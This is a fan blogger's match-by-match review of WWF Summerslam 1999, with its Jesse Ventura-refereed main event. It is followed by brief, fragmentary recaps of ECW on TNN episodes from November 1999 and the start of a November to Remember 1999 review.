History of Summerslam Count-Up – 1999: My Governor Can Beat Up Your Governor

Summerslam 1999
Date: August 22, 1999
Location: Target Center, Minneapolis, Minnesota
Attendance: 17,130
Commentators: Jim Ross, Jerry Lawler

Well not much has changed since last year. Austin is still dominating the wrestling world, but he’d be injured very soon and get run over, leaving for a year. Tonight though, he’s facing the young stud known as HHH and Mankind in a triple threat for the belt. The only big change that’s happened is HHH and Rock have switched sides in the eternal struggle between heel and face.

Also, a lot of the Attitude Era favorites are here now, such as the APA, the hardcore title, the Big Show and Bully Gunn. Oh and Al Snow, but no one likes him. (Foley is my all time favorite. I couldn’t help it.) Angle has been there for about 4 months, Jericho has been there less than two weeks, debuting 13 days prior to this show, and Benoit and co. would show up at the end of January.

The big deal to this show is that there’s a special referee for the main event: the governor of the state of Minnesota, Jesse “The Body” Ventura!!!! This was huge at the time because he was in office at the time, so if nothing else it got a lot of mainstream publicity. Therefore, let’s get to this. Oh and one more thing: Smackdown would debut as a regular series four days after this.

We get a recap of guest referee history (coming soon to a history channel near YOU) which include Tyson and McMahon and McMahon Jr. HHH and Austin say they’ll beat up Jesse if they have to, but he says he has the power. Now we’re in the arena with a huge pyro show. Jesse is in the back with HHH and Chyna, saying that HHH has to follow the rules or he won’t be champion. We cut to Jericho from earlier today, waiting on someone. Harold Finkle comes running up and apologizes for being late.

IC/European Titles: D’Lo Brown vs. Jeff Jarrett

Yes, Brown has both titles. Jarrett comes out with Debra, who is in a bikini and a coat. He sends her back, much to the King’s dismay, but we see her with Brown who she accompanies to ringside instead. Ross tries to convince the people that the pop is for Brown and not Debra. Even I don’t buy that one Jimmy boy. They talk about Brown’s incredible weight loss as at one point he weighed over 400lbs, yet for this match he weighs in at about 250.

That really is not only impressive but should be applauded, if nothing else for the health aspect. Once again, the lady is the main focus of this match, or in this case her chest is. If her face wasn’t so unnatural looking, she’d be VERY hot instead of just having a huge chest. The match is short, yet interesting. We’re in the fast paced, more intense style that’s always fun. Here, Brown actually controls most of this, which isn’t something that you see very often actually.

Jarrett makes him look good, which is better because Jarrett would be gone within two months, heading back to WCW as a big name until they closed. Anyway, Debra gets on the apron, yet Jarrett grabs the guitar and yells at her. If he’s going to use the guitar and Debra is there, why not hit him while she has the referee? Anyway, Mark Henry runs out and helps Brown, only to nail him seconds later to give Jeff two titles. Debra wasn’t with Brown and it was a swerve, which is fine I guess. At least they didn’t’ try to make it something major.

Rating: B-. Solid opener here, with some nice intense stuff. Never been a fan of unified titles like this but I guess it’s ok. Debra was the big deal here, but unlike last year with Sable it was more subtle and it certainly wasn’t like having a big spotlight on her all night, which was a major plus. Not a great match, but good for an opener.

Edge and Christian say they’ll win the tag team turmoil match.

Tag Team Turmoil

I’ve always liked this idea. You have 6 teams. Two start and have a tag match. The losers are eliminated, and then the third team comes in. You keep going until there’s one team left. The winners get a tag title shot tomorrow night on Raw. Oh while Edge and Christian are coming out, JR is still upset about what Henry did, because D’lo was trying to help his career. My goodness what would he have been like had Brown not helped?

Anyway, we start with E/C and the New Brood, aka the Hardys, who are heels if you can believe that. The Dudleyz weren’t quite there yet, but very soon these three would start dominating the tag division as you already know. The match starts with a standard back and forth fast paced match. I’ll spare a lot of the details here as most of these are going to last about three minutes at most. It amazes me that you have these four guys and Matt is easily the least successful of them all.

Who would have believed that you have at least 13 world title reigns in there? That’s unbelievable. Anyway, we go to the floor and it gets insane. You can tell how much these four are loving this as they’re killing each other out there. When the Dudleys came in a few months or maybe even weeks, the ante would be upped even more, especially with the ladders becoming more prevalent. Anyway, Edge hits an electric chair followed by what I think is a diving elbow from Christian to eliminate the Hardys.

Out next are Mideon and Viscera. And here is where the match starts to become an issue with the time. This lasts all of two minutes so there’s not a lot I can say. It might be better for it to be short though, given the wrestling abilities or lack thereof in the new team out there. Big Daddy V is somehow more annoying here with that stupid looking yellow Mohawk of his.

He uses that spin kick which is one of his best ever, nearly hitting Edge in the shoulder. It looks impressive, but it never actually connects, at least not that I can remember. Other than that, this is exactly what you would expect. Christian gets beaten up, Edge comes in and they double team Vis before spearing Mideon for the pin, and we get team #4.

Ross is talking about how spent Edge and Christian must be. Why in the world would they be spent? They’ve been wrestling less than 10 minutes and they get about 45 seconds to rest between falls. To say they’re tired is just stupid. The next team is Droz and Prince Albert. I’ll spare you the jokes about piercings, but years later when I found out what the name meant, I wince every time I hear it.

Anyway, this is more or less a team that was just thrown together because there was nothing else to do with them, which can work just fine. The New Age Outlaws got together this way and it worked fine. Anyway, neither guy was anything special yet and for the most part, they never were period. In case you don’t know, Albert became the A-Train.

Sadly enough, Droz would be paralyzed within two months of this, never walking again for the rest of his life, at least since then. This one goes even shorter, with Edge hitting the Downward Spiral after about two minutes. This is the problem with matches like these: unless you let them go an hour, you make a lot of matches and teams just seem like wastes of time and filler.

The fifth team is the Acolytes, not yet the APA. APA was the team that lost the belts to X-Pac and Kane, the current champions, so this was their chance to get the belts back the next night on Raw. Anyway, they’re the big monsters here and one of my favorite teams at the time, at least until the Dudleyz came in a few weeks later to really breathe new life into the division, not that it really needed it at the time, but it didn’t hurt things at all really.

It’s weird to think that at the time, Simmons was by far and away the most successful of these four, yet in the end, he’ll be the least successful. They just beat the tar out of Edge before we go to a big brawl, with Christian taking over on Farooq. For no reason at all, the Hollies come down as the final team, despite not being in the match yet. I guess they just jumped too early? Anyway, Bradshaw, big clothesline, yeah.

Hollies and APA to end this, and this seems REALLY simple here. The bad team fight over who gets to beat up their opponent, which is something I’d just let them do. If they’re going to expend energy and hurt each other, why stop them? Bradshaw, the Einstein of this group, beats Hardcore up while he’s fighting with Crash.

They both do blind tags, leading to another fight. Simmons, the smart one, just lets them do it. Hardcore turns around and walks into a spinebuster for the pin. See how smart it is to just let them beat each other up? Post match, the Hollies go at it even more. Somehow they would become tag champions someday.

Rating: B-. This is a hard one to call, as it was really 5 matches in one, but there were a lot of squashes in there too. Edge and Christian were on display here, as it was obvious they were the best in the company at this point. Overall, this was fine, but it needed more time, which is saying something as it was almost 20 minutes as it was. These kinds of matches are cool in theory, but they have to be done just right. This one came close to doing that.

Show and Taker are just getting here. Yeah thanks for showing up on time.

We cut to a shot of Pepper, Al Snow’s Chihuahua. He says something about how Bossman promised to get both of them, which he eventually would.

Before the match, Road Dogg, who is billed as a big deal in the division despite winning the title only one time, He challenges the winner of the Hardcore title match for tomorrow night. The more I see of him, the more I really like him. He’s very solid in the ring, he’s great on the mic, the fans are into him, and he has a decent resume. Jericho interrupts him though, as a complete rookie at this point.

He hadn’t even been in the company two weeks at this point. Jericho is on an extension of the stage which is up in the air. This was when he was the king of the internet, kind of like Danielson is today. Everyone knew he had all kinds of talent but was being completely wasted in WCW. In a few months with Angle and Benoit being around, they would start tearing the house down every time they were in the ring together and really revolutionize the company as a whole.

You can tell they trusted Jericho a lot, as he debuted in an argument with the Rock. That’s saying a lot when you think about it. He insults Road Dogg as its clear WWF understood him FAR better than WCW did, putting him with two of the best talkers in the company immediately. He is just tearing Road Dogg apart here, as he has the entire crowd going nuts with insults. Roadie’s response: Why don’t you shut up, boy? Yeah, Jericho is light years ahead of him here.

If you can ever find it online, get a copy of Jericho and Foley’s promos together. It’s just them trading these amazing insults and one liners about each other as they both keep trying to top one another. It’s some of the funniest work I’ve ever seen.

Hardcore Title: Al Snow vs. Big Bossman

Roadie joins JR and Jerry for commentary for this match. He immediately threatens to punch Jerry for using the same lines over and over again, gaining cheers from half the audience. Bossman is champion by the way. They do something that’s pretty cool here, as they give Road Dogg a microphone and he follows them around the arena giving commentary. I really like his style as he sounds like a fan cracking jokes about the match as it goes.

He has a very smooth voice and he’s easy to listen to. It’s also a treat for the fans as they never get to hear anything when they’re in the arena. They go into the back and in a spot I shouldn’t laugh at, Bossman picks up Snow’s dog’s box and throws it and the dog across the floor. They fight towards a Pepsi case, which they knock over.

There was no Pepsi in it which is good because Pepsi sucks. This is actually cool as they go outside the arena and fight more. They go across the street which I’m assuming was closed off and fight on the patio of a bar. This is actually really cool when you think about it, but it easily could have gone bad had cops or something not been filled in on this and thought it was a legit bar fight.

Bossman hits him in the head with a yellow pages, which would hurt actually as those things are heavy, especially for a major city like Minneapolis and possibly St. Paul. They do a bunch of random brawling using a bunch of weapons. Snow with a moonsault off a bar. The funny part of this is I’m reviewing this on the night that IC, Norcal and D-Man got together at a bar.

For no reason at all, Road Dogg hits Bossman in the back with the nightstick, followed by Snow hitting Bossman with some pool balls, which allows Snow to pin him on a pool table. Snow runs back to the arena to check on his dog and for no apparent reason beats up Stevie Richards and Blue Meanie. In the process of this he steals a guy’s crutch, causing him to fall down.

Rating: B. This was a run of the mill hardcore match from this era, meaning it was fun. You have to grade some matches on a different kind of scale and this one of them. You can’t grade this like you would a Benoit/Angle match. For what it was, this was a fun match that worked.

Mankind and Ventura are talking. Ventura says that while Mankind is hardcore and Jess is fine with that, if Foley uses a weapon for the pin, Jesse won’t count it. This somehow turns into a political debate that I’d pay to hear.

There’s another Lion’s Den match tonight, but this one has weapons.

Women’s Title: Ivory vs. Tori

Now this isn’t the Torrie that hung out with Stacy. This is Tori that was just around for awhile, mainly hanging out with X-Pac. She never really did much and from what I remember was AWFUL in the ring. Looked hot though. JR apologizes in advance, knowing that it’s going to suck. They’ve been….I guess you’d call it feuding, but this is pre-Lita/Trish, meaning it’s horrible at best for the most part.

Apparently the dog wasn’t in the dog box when Bossman threw it. This makes no sense as he yelled into the cage before throwing it, but whatever. This was when Ivory was just done being Henry’s sex toy, meaning she was still quite hot as long as you didn’t see her full face. Tori is a women’s wrestler, so naturally she has a martial arts background. Here’s some examples of the epicness of this match: Ivory hits a legdrop. Tori literally does not move.

She doesn’t sell, she doesn’t react, she doesn’t do anything and it just looks bad. Ivory then shouts “get ready for the big swing.” Yes, she’s using a giant swing. The crowd is chanting Take It Off, so you get the idea. The finish…might be the worst I’ve ever seen. I’ve been a fan of wrestling for over 20 years, I’ve seen thousands of matches, and I honestly have no clue what this was supposed to be.

Tori goes for a sunset flip and botches it, leading to Ivory being back in control. That’s all fine and good. They botch it, with Ivory being pushed too far and being out of the pin. Immediately after this, they do the EXACT SAME SPOT, but this time instead of Ivory going down like she normally would, she just sits on Tori’s chest. Ivory then “covers” Tori, who’s shoulder is AT LEAST three inches off the mat, for the pin to retain.

The air was allegedly knocked out of her, but she’s up withing seconds and is just fine. Afterwards, for no apparent reason, Ivory throws her on her stomach and starts to unhook her top. While I’m not complaining…actually yes I am. This makes no sense at all other than to embarrass him I guess, but still what’s the point?

She gets it off but before she can fulfill her latent lesbian desires, Luna freaking Vachon, who I swear has been with the company forever, runs out for the save. It went nowhere as far as I can remember.

Rating: F. Oy this was bad. Tori is just flat out awful and while Ivory would become good, she wasn’t there yet. This was just terrible in any and all forms, with the ending being one of the worst I’ve ever seen. Terrible match to say the least.

Rock is with Michael Cole and embarrasses him, as it’s the best thing Cole did. Rock is just amazing here as he’s at his best, just before his hottest period, his summer long feud with HHH in 2000 over the title. For some reason tonight though, he’s against Billy Gunn, who is shown coming in with someone under a sheet.

We get a very different kind of video package, with Lawler and Ross doing prerecorded stuff which just sounds different. It’s odd to hear those two doing voiceover work. Anyway, basically both guy thinks they’re better with weapons than the other, so we have this to determine it.

Lion’s Den: Steve Blackman vs. Ken Shamrock

They start with Blackman pulling nunchucks from his tights which he swings very well. This is more or less a martial arts match in a cage with weapons. It’s actually cool to see two guys that can do this kind of stuff, but I don’t want to see the weapons in there. Seeing these two trying to choke each other out and kicking the heck out of each other would be fun based on the short bits that they do here. I think you can only win by KO or tapping.

We get a kendo stick brought in. So far the weapons use is limited, which makes this a lot better for me. Blackman was ok I guess, but he just bored me to tears a lot of the time. I hated his time as hardcore champion. Those sticks he would use just drove me insane. As I restart the video after typing that, he’s got the sticks. This fight is ok, but I’m still not sold on the weapons stuff. This is kind of like MMA I guess, but only parts of it.

It’s close to a hybrid I guess you could call it, and that’s just fine. This cage is really small actually. Blackman is dominating, but he keeps letting Shamrock get up and it’s just kind of pointless looking. Shamrock’s belly to bellies are just freaking sick looking. Shamrock kills Blackman with the kendo stick to knock him out and end this. Shamrock celebrates to end this segment.

Rating: B-. This is a very hard one to grade as I could see people loving it, liking it or hating it. I could certainly get the argument of there’s no point to having this on a wrestling show and there’s a certain amount of truth to that. However, there’s certainly wrestling in there, and while I’d prefer no weapons, this was fine I thought.

We get a recap of Shane attacking Test on Heat. This was a very cool angle that I always liked, which directly led to the McMahon-Helmsley Era the next year. Here’s the idea: Vince McMahon, back in the spring, had a stable called the Union, comprised of Test, Shamrock, Big Show and Mankind. They were there to simply help him fight off Taker and the Ministry. The reason you’ve never heard of them was they disbanded after literally a month.

Anyway, one night Stephanie was kidnapped and the Union rescued her. Due to this, Vince granted them all a favor of their choice. Most of them picked matches, but Test said he wanted a date with Stephanie. He got what he wanted, and they became an onscreen couple. Now you have to remember at this time, Test was something like John Morrison is now: young, cool looking, a tough guy, and looking like the next big thing.

Shane, being the big brother, decides that a wrestler isn’t good enough for his sister. Let the HHH jokes begin. Anyway, Stephanie yells at him to stay out, so he gets his friends, the Mean Street Posse, to help him fight Test. Naturally, he beats the tar out of all of them and gives them all injuries. Eventually we get to this: Shane vs. Test in a Love Her or Leave Her Greenwich Street Fight. The idea is simple: if Test wins, Shane stays out of their relationship. If Shane wins, they break up.

Street Fight: Shane McMahon vs. Test

The MSP comes out before we get started, all bandaged up etc. There just happens to be a couch waiting on them. Test has bad ribs btw. Within a minute they’re already out in the crowd. Naturally the Posse is already interfering, but Test throws Shane into them. Stephanie, pre implants, is watching in the back. There’s a mailbox next to the Posse, so of course they use it in the match. It’s more or less a standard street fight.

The crowd is way into Test here, so I’ve always wondered why he never took off. We go back to the ring and Shane busts out a freaking  corkscrew moonsault from the top. Every time he’s in the ring he does something impressive and this is no exception. It looks great to say the least. It missed, but it looked great. Test misses a boot and kicks the heck out of the referee. Shane hits the elbow through the table.

That’s the real battle here: who has the better top rope elbow drop? For some reason in a match where there are no rules, the referee has to be distracted. That’s just kind of pointless don’t you think? Back in, Test kicks out to a big pop. For the life of me I don’t get why they dropped his push. He seems to be really over, at least in this match. More or less this is a four on one match, but it’s three jobbers and a part time wrestler.

This really shouldn’t be too much of a challenge, but they’re making it work. The Stooges are here to make the save though, as you don’t mess with the Real Americans. They beat up 2 of the Posse, allowing Test to kick the 3rd in the head, then beat the tar out of Shane with a SWEET looking elbow for the pin. Stephanie runs out to celebrate.

Rating: B. This was a very good street fight. The Posse interfering makes perfect sense as Shane isn’t a polished wrestler and would need help to win. The crowd was WAY into this too. There were good weapons spots, big moves and a solid ending. In short, this was very good and very fun.

Anyway, moving on we have the recap of the tag title match, which is the new champions Kane and X-Pac vs. Big Show and Undertaker. Taker was probably the most evil in his entire career at this point, more or less being the devil. This was around the time that X-Pac was trying to humanize Kane, which never really worked. These kinds of matches are why X-Pac gets the reputation he gets.

Against guy his size he works really well and he’s a fun guy to watch. However, putting him in the ring with three guys whose smallest is the 6’10 328lb Undertaker just does not work at all. He looks out of place and you get into the area where it’s about his heart, which makes even less sense. Also, the X Factor was a horrible move.

It’s a facebuster for those of you unfamiliar with it. For someone his size he needs to be using the ropes for a big high impact move. Those two things changed, Waltman could have been a decent guy. Instead, he’s more or less universally hated, which I don’t think is fair.

Tag Titles: X-Pac/Kane vs. Big Show/Undertaker

The announcers are asking about whether or not the challengers can trust each other. Kane has a different outfit which is his old red and black but inverted. It looks fairly awesome. Taker’s music is just freaking SWEET around this time. For some reason this feels like a No Mercy match to me. I mean the N64 game that is. Not sure why that’s the case but it feels like one.

Basically, this is what you’d expect: faces clean house to start and it gets down to Pac vs. Taker, but the size gets the better of it until Kane comes in. They do a spot that I really like as Taker is about to chokeslam Pac through the table but Kane just pulls him in over the top rope. I think I’m getting where the NM aspect comes in. Kane would be the first player, saving his much weaker partner from the other two guys on Expert mode.

He hits a move, goes for a cover, and saves his partner. Eventually he starts to get beaten down though, as would be expected I suppose. Watching Taker and Kane fight is almost always fun. The history there just makes it fun. It’s odd to see Kane as the face, and there’s a joke there somewhere, vs. Taker as the heel. Just realized the flaw in my No Mercy analogy: Big Show wasn’t in it, and Taker was a biker.

Pac gets in and finally gets the beating that we all knew was coming. The main thing here of course is the heart of X-Pac which I think I’ve mentioned before. Anyway, Show beats on him for awhile but since he hasn’t had a twinkie (I’m sure Rhodes or DiBiase would do) in awhile, he goes to the resthold of doom. We get one of the moves I’ve always hated: the Bronco Buster. DAng can someone just shoot whoever made that move?

Pac kicks out of a Showstopper and Taker is TICKED. He tags himself in, punches the small one, and tombstones the living ehck out of him to get the tag titles. The belt looks small in Show’s hands.

Rating: D+. This just didn’t do it for me. I mean, I know the ending to about 95% of these matches, but a lot of them get me into it. This simply didn’t at all. It was just there and it wasn’t interesting, there was no drama, and it didn’t work. I think the issue here is you have three guys that combine to be over 1000 pounds, and then someone that barely clears 200.

The problem is that there’s far too much of a difference between the sizes and it just didn’t work for me. It would be the Rock N Sock Connection that would take the belts from these monsters in I think about three weeks.

Ventura gives his same speech to Austin.
Rock vs. Billy Gunn

There’s something about if Gunn wins Rock has to kiss up to him. This was a really weird period for Rock as he was over, but Austin was just way too big of a star for Rock to get that top spot. The neck surgery was coming, and Rock would be launched so far into the stratosphere that you couldn’t see him anymore. By the way, this is being written just after Night of Champions ended, so if there’s some anti-Hardy remarks in here, don’t be surprised.

Anyway, Rock was thrown into stupid feud after stupid feud, even being paired with Gangrel for all of a minute. That should speak volumes for how out there they were with him. Anyway, Gunn has a fat lady with him, saying if Rock loses he kisses her, not his, so the ending is pretty obvious already. There was no point to this feud but it filled Rock’s time I guess. Billy Gunn…..where do I begin? This guy was given so many pushes and he never could get it right.

Somehow, this was his most successful gimmick. They’re on the floor and Rock puts King’s crown on Gunn before punching him. Why has no one ever used that as a weapon? If a cookie sheet hurts, that has to have some force behind it. For some reason, Lawler starts going over the possible types of underwear that the fat lady could be wearing. Ross’ reactions are just funny here.

They do the standard near falls, with Rock taking the Fameasser, which for you young guys that don’t know, it’s what Cena does with the leg drop from the top, but Billy just got a running start. It always sucked though as he never got the leg in the right place. Eventually, the woman comes in and sets up in the corner, and you know what’s coming. Yes, Billy takes it which makes the woman smile. Rock is on fire here, drilling the Rock Bottom and the Elbow, as the fans are losing it.

Rating: B-. Seriously, the guy headlines Mania and this is the best they can do for him at the second biggest show of the year? That’s just kind of pathetic. Anyway, this was pretty bland, with no one thinking Rock would lose, but unlike in the Hardy/Punk match, they got the booking right! Ok I think I’m good now. Anyway, Rock wins, he looked good, he got the big pop, and his time was coming, but no one knew it yet.

Oh great. Now I get to recap the buildup for the main event. Sit back, because this might be the most complicated story outside of TNA in wrestling history. Ok, so one night, there was supposed to be a triple threat match to determine the #1 contender for Summerslam, but we didn’t know who the 3rd person was. We had HHH and Taker, but no third person. Commissioner HBK decided that the third person was Chyna.

Now, earlier in the night, someone had jumped Austin and hurt him. Austin shows up at the end of the show with a chair and kills HHH with it, implying he’s the one. It’s a hardcore match, so Austin throws Chyna onto HHH, making her the #1 contender. From what I remember reading, there was actually a debate going on about not only having Austin vs. Chyna, but actually GIVING HER THE TITLE.

Luckily, this lasted all of 9 seconds though as they came back to reality. Anyway, HHH is mad about this, as at the time he was completely obsessed with being the WWF Champion. It was one of the best builds for someone being desperate to be champion that I’ve ever seen. His theme music was My Time at the moment, so everything for him was about claiming his destiny as WWF Champion.

The next week, we got HHH vs. Chyna for the spot. For no reason that I can remember at all, Mankind runs out and hits HHH with the stairs, allowing Chyna to pin him. THEN the next week, Mankind says that he wants a piece of the Summerslam action, and due to the obvious sexual tension between he and Chyna (find this promo. I don’t ever recall laughing so hard at wrestling as the look on Chyna’s face is one of the funniest things I’ve ever seen.)

Anyway, Mankind wins, but THEN Shane returns to announce that right here and right now, we’re having a no holds barred match to determine the undisputed #1 contender for Summerslam. HBK and Shane are both referees. Mankind gets the Claw on HHH, but the Game lands a belly to back onto a chair and we get a double pin.

Note: in one of the funniest and stupidest things I’ve ever heard, during this package (pun coming), we hear every curse word I can think of that you can say on TV, yet they censor Chyna saying balls. This amazed me to no end.

WWF Title: Steve Austin vs. Mankind vs. HHH

Before the match, Jesse cuts a short but great promo, talking about how the media has said that he’s a disgrace to the office for being there. He says he’s proud he was a wrestler and he’s proud to be here tonight. That is just awesome. You have to stop and think for a second: at the time, Ventura was the governor of Minnesota. This wasn’t some American Idol guy or NBA impersonator.

This is a major politician, who was considered a dark horse candidate for the White House. Another person called a dark horse candidate in the past: President Obama. Just think about that. Imagine 4 years ago having Barack Obama refereeing the main event of Summerslam and clearly being excited about it and not just waving and looking like he’d rather pound a rusty spike into his face.

You can tell Jesse is having fun up there and wants to be there. That’s a nice thing to see. For the most part, people that are wrestlers are proud of it and it’s not just something you do and then don’t do. Oh apparently Foley is in this because HHH injured his knee with the hammer. We get the shots of the walk towards the entrance, which I’m not sure if I like or not. Nothing beats the shot of the fans when the music hits, and I don’t want to see the guys before that.

HHH was wearing some weird vest made of chain link around this time. I never got the point of that. Foley’s pop is actually very solid so you know he’s still over, which is odd as he would be retired in about 8 months. Austin’s pop is MASSIVE. Foley is very smart here, staying on the floor at first and letting Austin and HHH fight. That’s brilliant, and it’s coming from one of the craziest wrestlers of all time.

Austin and Mankind beat up HHH, so Mankind hugs him and offers a handshake. Right hands follow. It’s your standard wild brawl to start with HHH and Austin doing most of the work. Wow. Upon a bit of research, Austin is only 34 here. It’s hard to think that his career was mostly over at this point. Chyna interferes and low blows Mankind, so Jesse throws her out.

The cool thing about Ventura is that he was always a guy that wasn’t afraid of anyone, and as a Navy SEAL, you knew he was tough. He’s perfect for this and has to be the best guest ref I can think of. Mankind and HHH work together, which you’ll never hear again. This match is just kind of going with the motions so far and while it’s good, it’s not great. HHH sets for what might have been a figure four while Mankind drops a leg.

It’s Hogan and Flair vs. Austin. This partnership lasts all of 18 seconds and it ends with a Cactus clothesline before Mankind runs across the apron and flips onto HHH. Mankind is doing flippys. Maybe he does belong in TNA. HHH is working on Austin’s bad knees which makes sense. Austin and HHH go into the crowd as Foley follows. You know one day someone needs to land a piledriver on the floor.

We always get it teased but we never see it. MORE VIOLENCE DANG IT! Foley takes a good stunner. He just falls to the side, plain and simple. HHH breaks it up with a chair, and Jesse says he won’t count it. That’s just awesome on so many levels. Shane slides in to break up the fight between HHH and Jesse. The mouth on Jesse could rival Austin’s if my lip reading is working. Jesse throws Shane over the top as I’m loving this. This is just awesome.

He says that was for your old man you little bastard. Vince vs. Jesse NEEDS to happen. Who cares if they’re both senior citizens? Correction: Jesse is….58? WOW. I would have had him pushing social security. So….wow he was in his late 40s here? That explains a lot. Late 30s as well for the Mania stuff? I’m impressed. Mankind breaks up the pin on the stunner as we’re running very low on time.

HHH gets the pedigree, but Foley breaks it up and hits the double arm on Austin to win the title and shock the world. The fans are almost dead silent for about ten seconds, then go nuts as someone not named HHH is champion. HHH is just losing it in the corner as Jesse hands Foley the title. HHH lands about ten chair shots to the legs of Austin as he can’t believe he didn’t get the belt again.

He’d win the next night on Raw, with the rumor being that he was supposed to get it here, but Austin refused to job for him. That’s never been confirmed one way or the other though, and since this was the Attitude Era, it certainly could be wrong.

Rating: B+. This just didn’t have the main event feeling to it. Jesse definitely lived up to the hype here as he was about as good as you can get for a special guest referee. The match itself was good, but the ending was out of nowhere. It wasn’t bad or anything, but this was the definition of a swerve.

NO ONE saw this coming as the stars aligned for HHH on this night it seemed. Anyway, Foley winning was a nice surprise and kind of his last hurrah, saying that he still had it before the completely underrated feud with HHH started in about 2-3 months time.

Overall Rating: B-. This show was good, but just good. The matches are good enough, the main event was a twist, the fans were happy I suppose and there were some fun moments, but there’s no big spark to make it a great show. This would have been awesome as something like Judgment Day or No Way Out, but for Summerslam, it’s just a good show.

Mild recommendation, as it’s your traditional Attitude Era stuff: if you like this era you’ll love it and if you’re not a fan you’ll be very mildly entertained but get bored at some parts. It’s ok, but just barely.

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ECW on TNN – November 19, 1999: ECW’s Best Show In Weeks

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Date: November 19, 1999
Location: Broome County Arena, Binghamton, New York
Attendance: 3,500
Commentators: Joey Styles, Joel Gertner

Rhyno is in the back and Tammy Sytch offers sex for something not mentioned.

Opening sequence.

Jerry Lynn vs. Super Crazy

Rating: C+. For some reason I liked this. It was fast paced and while the ending was kind of out of nowhere, it fits with the story from last week which is a big improvement over a lot of the stuff you get on here. These guys worked well together but then again I like Lynn a lot which has a lot to do with it.

The Baldies are still waiting at the subway and go New Jack hunting. They want New Jack.

Da Baldies vs. Balls Mahoney/Axl Rotten

This is joined in progress for the sake of the previous segment. Whoever loses the fall is gone from ECW. This would be PN News and Vito for the Baldies. Balls beats on the fat man News in the ring but gets taken down by a clothesline. Axl moves him out of the way of a News splash and a double chair shot takes down both Baldies. Mahoney superkicks Vito down and the Nutcracker Suite (sitout powerslam) pins Vito to send him to WCW. This was short and nothing.

Corino and Victory go looking for Rhyno and find him with Tammy and Candido. Candido is his partner for tonight now.

Gertner is very proud of Rhyno in a funny bit.

House show ads.

Get our catalogue.

Go to our website!

Back to the subway or L train or whatever it is. The Baldies challenge New Jack to a New York street fight anywhere.

Tag Titles: Chris Candido/Rhyno vs. Raven/Tommy Dreamer

Everyone goes into the crowd and Raven drives Rhyno through a table back at ringside. Candido throws Dreamer off the apron and onto the concrete as Raven plays cheerleader. Things settle down again and Rhyno hits a spinebuster on Dreamer for two. A Gore puts Dreamer down but it only gets two as Bird Boy makes the save. A delayed vertical suplex gets two for Candido on Dreamer.

Post match Corino and Victory join in for a four on one beatdown of the champions. Sandman finally comes in for the save. Raven jumps Sandman and Dreamer is caught in the middle again. Dreamer winds up getting caned in the head and the Impact Players run in for the big beatdown to end the show.

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ECW on TNN – November 12, 1999: Raven Did The Right Thing

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Date: November 12, 1999
Location: Hara Arena, Dayton, Ohio
Attendance: 5,000
Commentators: Joey Styles, Joel Gertner

Opening sequence.

Joey runs down the card and plugs the website, which has a lot of stuff about the PPV apparently.

Jerry Lynn vs. Steve Corino

Tajiri runs in post match and Mists Lynn. Super Crazy runs in for the save but the blind Lynn goes after Crazy for a bit, which goes nowhere.

Gertner is stunned.

Buy the November To Remember replay!

Buy the November To Remember replay!

Yoshihiro Tajiri vs. Super Crazy

A sunset flip is countered by Crazy but Tajiri reverses the counter into the Tarantula. Crazy shrugs that off and hooks a surfboard with a dragon sleeper. Brainbuster by Tajiri is broken up but the triple moonsault hits knees. Jerry Lynn runs in to attack Tajiri but Crazy goes after Jerry as well. A Cradle Piledriver to Crazy is followed by a standing moonsault from Tajiri for the pin.

Rhyno vs. Sandman

Dreamer comes out for the second save but Storm comes in and beats him down too. Raven is watching in the back and finally runs in for the save. Sandman destroys Raven for past hatreds until Dreamer takes him down.

Raven wants to know why he got beaten up after he did the right thing. He says Dreamer let the drunk beat him up like his dad did when he was seven. Raven cries while saying he did the right thing over and over to end the show.

http://kbwrestlingreviews.com/2012/07/26/november-to-remember-1999-another-six-man-main-event/

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ECW on TNN – November 5, 1999: These Pulp Fiction Segments Are Really Bad Ideas

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Date: November 5, 1999
Location: ECW Arena, Philadelphia, Pennsylvania
Attendance: 1,500
Commentators: Joey Styles, Joel Gertner

We open with a clip of a house show tag title match with Raven/Dreamer defending against the Impact Players. There was a catfight (duh) and Rhyno ran in to take down Dreamer, revealing himself as the mystery partner of the Impact Players. Raven tried to DDT him but Credible destroyed him with a Singapore cane.

Opening sequence.

Joey runs down the PPV card.

Axl Rotten/Balls Mahoney vs. The Baldies

After a break, Rotten/Mahoney vs. The Baldies is made for the PPV.

We run down the PPV card again.

Little Guido vs. Spike Dudley vs. Super Crazy

Simon Diamond has Dick Hertz with him.

Fonzie tells Candido to bring it to Sabu.

Simon and Dick make fun of Buffalo.

Jerry Lynn is ready for his three way dance on Sunday.

The Baldies tell New Jack it could have been worse.

Simon warns people about his Big Dick.

The Impact Players want the titles.

Raven wants to hurt Credible.

Credible says his catchphrase.

Raven would rather let his mother die than lose to Justin.

http://kbwrestlingreviews.com/2012/07/26/november-to-remember-1999-another-six-man-main-event/

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November to Remember 1999: Another Six Man Main Event

November to Remember 1999
Date: November 7, 1999
Location: Burt Flickinger Center, Buffalo, New York
Attendance: 3,000
Commentators: Cyrus, Joey Styles

Well it’s another of ECW’s Wrestlemanias here as we close out this millennium. The main event tonight is another tag match rather than a world title match or something stupid like that. This time it’s Rhino, Credible and Storm vs. Sandman, Raven and Dreamer. Oh how ready I am for this.

 

Awesome vs. Tanaka is happening….again. RVD vs. Taz….not a regular match but I have no desire to watch them fight since Taz is practically in WWF already. This looks like anything but a major show but with ten PPVs left in the company’s history I can’t complain much. Let’s get to it.

Joey and Cyrus open us up of course with Cyrus telling the smart marks to rejoice. Gertner interrupts him of course. And here’s Taz. Wasn’t he supposed to like, go to WWF? The fans think he sold out. Apparently Taz is looking for Joey. What the heck is going on? Apparently Joey never called Taz.

 

Ah ok Joey thinks Taz Pearl Harbored RVD by jumping him from behind. Taz interprets this as Joey wanting to fight him, prompting a F HIM UP JOEY chant! Oh that’s priceless. This is seriously cracking me up. Taz is full heel here. Joey being taller than Taz is funny. Taz complaining about someone laughing at him is funny given his current commentary style. Taz twists every word around and Joey just keeps digging himself deeper and deeper and it’s great stuff.

 

Joey FINALLY bails as the chant starts again. Gertner makes the mistake of smiling and you can tell his life is measured in seconds. Tazmission and he’s down. The fans really don’t like him, but that’s because he’s leaving I think. DAng he should have been heel and just choked people out a long time ago. He and Cyrus shake hands to prove he’s evil.

Theme song hits. Make your own John Cena references there.

Have to give them this: that song was AWESOME.

Simon Diamond and Dick Hertz are here. Yep the gay jokes abound. Dick slapping himself doesn’t help. Oh and Dick gets to slide. And here’s Jazz. She slaps him and Dick beats her up. Simon tells his giant to kill her. That’s close enough to Giant Killer for Spike to hit the ring.

Simon Diamond vs. Spike Dudley

